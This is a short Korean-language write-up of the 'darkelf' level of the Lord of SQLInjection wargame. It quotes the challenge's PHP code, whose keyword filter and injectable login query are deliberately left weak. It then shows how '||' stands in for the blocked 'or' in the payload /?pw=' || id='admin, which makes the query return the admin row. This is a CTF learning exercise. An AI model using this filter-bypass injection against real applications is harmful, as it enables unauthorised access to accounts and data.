[Lord of SQLInjection]darkelf write up

zzsla·2023년 6월 11일
0

문제 정보

없다

문제

문제에 들어가면 위에 query와 sql명령문이 적혀있고 아래 코드가 나와 있다.

분석

get으로 요청된 pw값에 prob, _, ., (), or, and가 들어가면 프로그램이 죽는다. 즉 저 부분이 필터링 부분이다.

  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");

그 다음 query가 나오는데 sql 명령문이다.
sql 명령문은 id를 찾는데 prob_darkelf라는 테이블에 있어야 하고, id는 guest이고 pw는 get으로 요청된 pw값이어야 한다.

  $query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'";

그리고 id를 찾으면 Hello (찾은 id) 라고 나오고, 만약 idadmin이면 문제가 풀린다.

  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("darkelf");

취약점

filter bypass하면서 sql injection을 하면 된다.

익스플로잇

일단 idguest로 되어 있기 때문에 or를 이용해야 하는데 필터링에 걸린다. 그렇기 때문에 or 대신에 ||을 사용한다.
이것을 이용해서 익스플로잇을 짜서 넣으면 문제가 풀린다.
/?pw=' || id='admin

익스플로잇을 넣었을 때 실행될 sql query

select id from prob_darkelf where id='guest' and pw='' || id='admin'
profile
[README]newbi security hacker :p

0개의 댓글